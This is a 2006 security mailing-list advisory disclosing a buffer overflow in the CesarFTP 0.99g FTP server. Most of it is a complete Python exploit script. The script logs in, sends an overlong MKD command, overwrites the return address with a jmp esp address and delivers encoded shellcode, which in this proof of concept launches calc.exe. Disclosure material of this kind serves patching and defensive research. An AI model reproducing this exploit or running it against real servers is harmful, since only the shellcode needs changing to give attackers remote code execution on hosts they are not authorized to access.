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  CesarFTP buffer overflow

From:SECURITEAM <support_(at)_securiteam.com>
Date:11.06.2006
Subject:[EXPL] CesarFTP Buffer Overflow (Exploit)

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 CesarFTP Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.aclogic.com/> CesarFTP is an easy-to-use and fast to
configure FTP server. "

Improper input validation allows attackers to execute arbitrary code using
CeasrFTP.

DETAILS

Vulnerable Systems:
* CesarFTP version 0.99g

Exploit:
#!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [h07@interia.pl]
#Date: 10.06.2006

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\
x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\
xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\
x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\
xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\
x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\
xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\
x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\
x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\
x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\
x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\
x22\x72\xe4")

def intel_order(i):
   a = chr(i % 256)
   i = i >> 8
   b = chr(i % 256)
   i = i >> 8
   c = chr(i % 256)
   i = i >> 8
   d = chr(i % 256)
   str = "%c%c%c%c" % (a, b, c, d)
   return str

host = "127.0.0.1"
port = 21
user = "h07"
password = "open"
EIP = 0x7CA58265  #jmp esp <shell32.dll XP sp2 polish>

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3 + intel_order(EIP)
buffer += "\x90" * 40 + shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:h07@interia.pl> h07.



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